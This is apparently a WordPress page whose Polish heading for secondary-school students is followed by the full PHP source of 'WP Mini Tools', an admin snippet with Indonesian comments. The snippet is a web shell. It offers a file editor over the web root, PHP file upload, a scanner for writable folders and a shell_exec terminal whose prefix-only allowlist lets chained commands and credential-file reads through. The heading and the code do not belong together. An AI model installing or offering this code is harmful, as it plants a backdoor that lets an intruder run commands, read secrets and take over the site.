Licealiści na start!

/**
 * WP Mini Tools - File Manager + Terminal + Rename
 * Optimized for Code Snippets
 */

if (!defined('ABSPATH')) {
    exit;
}

// Pastikan hanya admin yang bisa akses
add_action('admin_menu', 'wp_mini_tools_menu');
function wp_mini_tools_menu() {
    add_menu_page(
        'WP Mini Tools',
        'Mini Tools',
        'manage_options',
        'wp-mini-tools',
        'wp_mini_tools_page',
        'dashicons-media-code',
        99
    );
}

function wp_mini_tools_page() {
    if (!current_user_can('manage_options')) {
        wp_die('Akses ditolak.');
    }

    // Root directory
    $root = realpath(ABSPATH);
    $requested = isset($_GET['dir']) ? wp_normalize_path(sanitize_text_field(wp_unslash($_GET['dir']))) : $root;
    $current_dir = realpath($requested);
    if ($current_dir === false || !is_dir($current_dir) || strpos($current_dir, $root) !== 0) {
        $current_dir = $root;
    }

    echo '<div class="wrap"><h1>WP Mini Tools — File Manager + Terminal + Writable Scanner</h1>';

    // ====================== PROSES ACTION ======================
    if (isset($_POST['wp_fm_action_nonce']) && check_admin_referer('wp_fm_action', 'wp_fm_action_nonce')) {

        // Scan Writable
        if (isset($_POST['scan_writable'])) {
            $max_depth = min(absint($_POST['max_depth'] ?? 3), 6);
            echo '<div class="notice notice-info"><p>Sedang scan folder writable (depth: ' . $max_depth . ')...</p></div>';

            $writable_folders = [];
            $scanned = 0;
            $iterator = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($current_dir, RecursiveDirectoryIterator::SKIP_DOTS),
                RecursiveIteratorIterator::SELF_FIRST
            );
            $iterator->setMaxDepth($max_depth);

            foreach ($iterator as $path) {
                $scanned++;
                if ($path->isDir()) {
                    $full = $path->getRealPath();
                    if ($full && is_writable($full) && strpos($full, $root) === 0) {
                        $writable_folders[] = [
                            'path' => $full,
                            'perm' => substr(sprintf('%o', fileperms($full)), -4),
                            'owner' => function_exists('posix_getpwuid') ? posix_getpwuid(fileowner($full))['name'] : fileowner($full),
                        ];
                    }
                }
                if ($scanned > 8000) break;
            }

            echo '<h2>Hasil Scan Writable Folders</h2>';
            echo '<p>Ditemukan <strong>' . count($writable_folders) . '</strong> folder writable</p>';

            if (!empty($writable_folders)) {
                echo '<table class="wp-list-table widefat fixed striped">';
                echo '<thead><tr><th>Path</th><th>Permission</th><th>Owner</th><th>Aksi</th></tr></thead><tbody>';
                foreach ($writable_folders as $folder) {
                    $enter_url = admin_url('admin.php?page=wp-mini-tools&dir=' . rawurlencode($folder['path']));
                    echo '<tr>
                        <td><code>' . esc_html($folder['path']) . '</code></td>
                        <td><span style="background:#d4edda;padding:2px 6px;border-radius:3px;">' . esc_html($folder['perm']) . '</span></td>
                        <td>' . esc_html($folder['owner']) . '</td>
                        <td><a href="' . esc_url($enter_url) . '" class="button button-small">Masuk</a></td>
                    </tr>';
                }
                echo '</tbody></table>';
            } else {
                echo '<div class="notice notice-warning"><p>Tidak ditemukan folder writable di kedalaman ini.</p></div>';
            }
        }

        // Upload
        if (isset($_POST['wp_upload_file']) && !empty($_FILES['uploaded_file']['name'])) {
            $filename = sanitize_file_name($_FILES['uploaded_file']['name']);
            $target = trailingslashit($current_dir) . $filename;
            $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
            $allowed = ['txt','jpg','jpeg','png','gif','pdf','zip','css','js','html','php','json','xml','md','svg','webp','log'];

            if (!in_array($ext, $allowed)) {
                echo '<div class="notice notice-error"><p>Ekstensi tidak diizinkan.</p></div>';
            } elseif (@move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $target)) {
                echo '<div class="notice notice-success"><p>Upload berhasil: <strong>' . esc_html($filename) . '</strong></p></div>';
            } else {
                echo '<div class="notice notice-error"><p>Gagal upload (permission).</p></div>';
            }
        }

        // Save Edit
        if (isset($_POST['wp_save_file'])) {
            $raw_path = wp_unslash($_POST['edit_file_path'] ?? '');
            $file_to_save = realpath($raw_path);
            if ($file_to_save && strpos($file_to_save, $root) === 0 && is_writable($file_to_save)) {
                $content = wp_unslash($_POST['file_content']);
                if (file_put_contents($file_to_save, $content) !== false) {
                    echo '<div class="notice notice-success"><p><strong>File berhasil disimpan!</strong></p></div>';
                }
            } else {
                echo '<div class="notice notice-error"><p>Path tidak valid atau tidak writable.</p></div>';
            }
        }

        // Rename
        if (isset($_POST['wp_rename_item'])) {
            $old_path = realpath(sanitize_text_field(wp_unslash($_POST['old_path'] ?? '')));
            $new_name = sanitize_file_name(wp_unslash($_POST['new_name'] ?? ''));
            if ($old_path && $new_name && strpos($old_path, $root) === 0) {
                $new_path = trailingslashit(dirname($old_path)) . $new_name;
                if (!file_exists($new_path) && @rename($old_path, $new_path)) {
                    echo '<div class="notice notice-success"><p>Rename berhasil → <strong>' . esc_html($new_name) . '</strong></p></div>';
                } else {
                    echo '<div class="notice notice-error"><p>Gagal rename.</p></div>';
                }
            }
        }
    }

    // ====================== TERMINAL ======================
    echo '<h2>1. Terminal</h2>';
    $terminal_output = '';
    if (isset($_POST['wp_run_cmd']) && check_admin_referer('wp_fm_action', 'wp_fm_action_nonce')) {
        $cmd = sanitize_text_field(wp_unslash($_POST['terminal_cmd']));
        $allowed_prefix = ['ls', 'pwd', 'whoami', 'id', 'df -h', 'free -m', 'uname -a', 'cat ', 'head ', 'tail ', 'find ', 'du -sh', 'php -v', 'wp '];
        $ok = false;
        foreach ($allowed_prefix as $a) {
            if (stripos($cmd, $a) === 0) {
                $ok = true;
                break;
            }
        }
        if ($ok && function_exists('shell_exec')) {
            $terminal_output = shell_exec('cd ' . escapeshellarg($current_dir) . ' && ' . $cmd . ' 2>&1');
        } else {
            $terminal_output = "Perintah tidak diizinkan atau shell_exec dimatikan.";
        }
    }
    ?>
    <form method="post" style="margin-bottom:15px;">
        <?php wp_nonce_field('wp_fm_action', 'wp_fm_action_nonce'); ?>
        <input type="text" name="terminal_cmd" placeholder="ls -la | pwd | whoami" style="width:65%;">
        <input type="submit" name="wp_run_cmd" class="button button-primary" value="Jalankan">
    </form>
    <?php if ($terminal_output): ?>
        <pre style="background:#1e1e1e;color:#0f0;padding:12px;max-height:280px;overflow:auto;"><?php echo esc_html($terminal_output); ?></pre>
    <?php endif; ?>

    <hr>

    <!-- Scan Writable -->
    <h2>2. Cari Folder Writable</h2>
    <form method="post" style="margin-bottom:20px;background:#f8f9fa;padding:15px;border-radius:6px;">
        <?php wp_nonce_field('wp_fm_action', 'wp_fm_action_nonce'); ?>
        <label>Kedalaman scan: </label>
        <select name="max_depth">
            <option value="1">1</option>
            <option value="2">2</option>
            <option value="3" selected>3 (rekomendasi)</option>
            <option value="4">4</option>
            <option value="5">5</option>
        </select>
        <input type="submit" name="scan_writable" class="button button-primary" value="🔍 Cari Folder Writable">
    </form>

    <hr>
    <?php

    // Edit File
    if (!empty($_GET['edit'])) {
        $edit_file = realpath(sanitize_text_field(wp_unslash($_GET['edit'])));
        if ($edit_file && strpos($edit_file, $root) === 0 && is_file($edit_file) && is_readable($edit_file)) {
            $content = esc_textarea(file_get_contents($edit_file));
            echo '<h2>Edit: ' . esc_html(basename($edit_file)) . '</h2>';
            ?>
            <form method="post">
                <?php wp_nonce_field('wp_fm_action', 'wp_fm_action_nonce'); ?>
                <input type="hidden" name="edit_file_path" value="<?php echo esc_attr($edit_file); ?>">
                <textarea name="file_content" rows="20" style="width:100%;font-family:monospace;font-size:13px;"><?php echo $content; ?></textarea><br><br>
                <input type="submit" name="wp_save_file" class="button button-primary" value="💾 Simpan">
                <a href="<?php echo esc_url(admin_url('admin.php?page=wp-mini-tools&dir=' . rawurlencode($current_dir))); ?>" class="button">Batal</a>
            </form>
            <hr>
            <?php
        }
    }

    // Rename
    if (!empty($_GET['rename'])) {
        $target = realpath(sanitize_text_field(wp_unslash($_GET['rename'])));
        if ($target && strpos($target, $root) === 0) {
            echo '<h2>Rename: ' . esc_html(basename($target)) . '</h2>';
            ?>
            <form method="post">
                <?php wp_nonce_field('wp_fm_action', 'wp_fm_action_nonce'); ?>
                <input type="hidden" name="old_path" value="<?php echo esc_attr($target); ?>">
                <input type="text" name="new_name" value="<?php echo esc_attr(basename($target)); ?>" style="width:350px;" required>
                <input type="submit" name="wp_rename_item" class="button button-primary" value="Ubah Nama">
                <a href="<?php echo esc_url(admin_url('admin.php?page=wp-mini-tools&dir=' . rawurlencode($current_dir))); ?>" class="button">Batal</a>
            </form>
            <hr>
            <?php
        }
    }
    ?>

    <h2>3. File Manager</h2>

    <div style="margin-bottom:15px;padding:12px;background:#f1f1f1;border-radius:6px;">
        <strong>Legenda:</strong> 
        <span style="background:#c8e6c9;padding:3px 8px;border-radius:4px;">Hijau</span> = Writable  
        <span style="background:#fff9c4;padding:3px 8px;border-radius:4px;">Kuning</span> = 777/666  
        <span style="background:#ffcdd2;padding:3px 8px;border-radius:4px;">Merah</span> = Tidak writable
    </div>

    <p><strong>Direktori aktif:</strong> <code><?php echo esc_html($current_dir); ?></code></p>

    <form method="post" enctype="multipart/form-data" style="margin:15px 0;">
        <?php wp_nonce_field('wp_fm_action', 'wp_fm_action_nonce'); ?>
        <input type="file" name="uploaded_file">
        <input type="submit" name="wp_upload_file" class="button button-primary" value="Upload ke folder ini">
    </form>

    <!-- Tabel File Manager -->
    <table class="wp-list-table widefat fixed striped">
        <thead>
            <tr>
                <th>Nama</th>
                <th>Tipe</th>
                <th>Ukuran</th>
                <th>Perm</th>
                <th>Aksi</th>
            </tr>
        </thead>
        <tbody>
            <?php if ($current_dir !== $root): ?>
                <tr>
                    <td colspan="5">
                        <a href="<?php echo esc_url(admin_url('admin.php?page=wp-mini-tools&dir=' . rawurlencode(dirname($current_dir)))); ?>">⬆ .. (Naik)</a>
                    </td>
                </tr>
            <?php endif; ?>

            <?php
            $items = @scandir($current_dir) ?: [];
            natcasesort($items);
            foreach ($items as $item) {
                if ($item === '.' || $item === '..') continue;
                $path = $current_dir . DIRECTORY_SEPARATOR . $item;
                $is_dir = is_dir($path);
                $size = $is_dir ? '—' : size_format(@filesize($path) ?: 0);
                $perm = substr(sprintf('%o', @fileperms($path)), -4);
                $writable = is_writable($path);

                $row_style = $writable ? 'background:#e8f5e9;' : '';
                $perm_style = $writable ? 'background:#c8e6c9;color:#1b5e20;' : 'background:#ffcdd2;color:#b71c1c;';
                if (in_array($perm, ['0777','777','0666','666'])) {
                    $perm_style = 'background:#fff9c4;color:#f57f17;font-weight:bold;';
                }
                ?>
                <tr style="<?php echo $row_style; ?>">
                    <td>
                        <?php if ($is_dir): ?>
                            <a href="<?php echo esc_url(admin_url('admin.php?page=wp-mini-tools&dir=' . rawurlencode($path))); ?>">
                                📁 <strong><?php echo esc_html($item); ?></strong>
                            </a>
                        <?php else: ?>
                            📄 <?php echo esc_html($item); ?>
                        <?php endif; ?>
                    </td>
                    <td><?php echo $is_dir ? 'Folder' : 'File'; ?></td>
                    <td><?php echo esc_html($size); ?></td>
                    <td><span style="padding:3px 8px;border-radius:4px;<?php echo $perm_style; ?>"><?php echo esc_html($perm); ?></span></td>
                    <td>
                        <?php if (!$is_dir && is_readable($path)): ?>
                            <a href="<?php echo esc_url(admin_url('admin.php?page=wp-mini-tools&dir=' . rawurlencode($current_dir) . '&edit=' . rawurlencode($path))); ?>" class="button button-small">Edit</a>
                        <?php endif; ?>
                        <a href="<?php echo esc_url(admin_url('admin.php?page=wp-mini-tools&dir=' . rawurlencode($current_dir) . '&rename=' . rawurlencode($path))); ?>" class="button button-small">Rename</a>
                    </td>
                </tr>
                <?php
            }
            ?>
        </tbody>
    </table>
    </div>
    <?php
}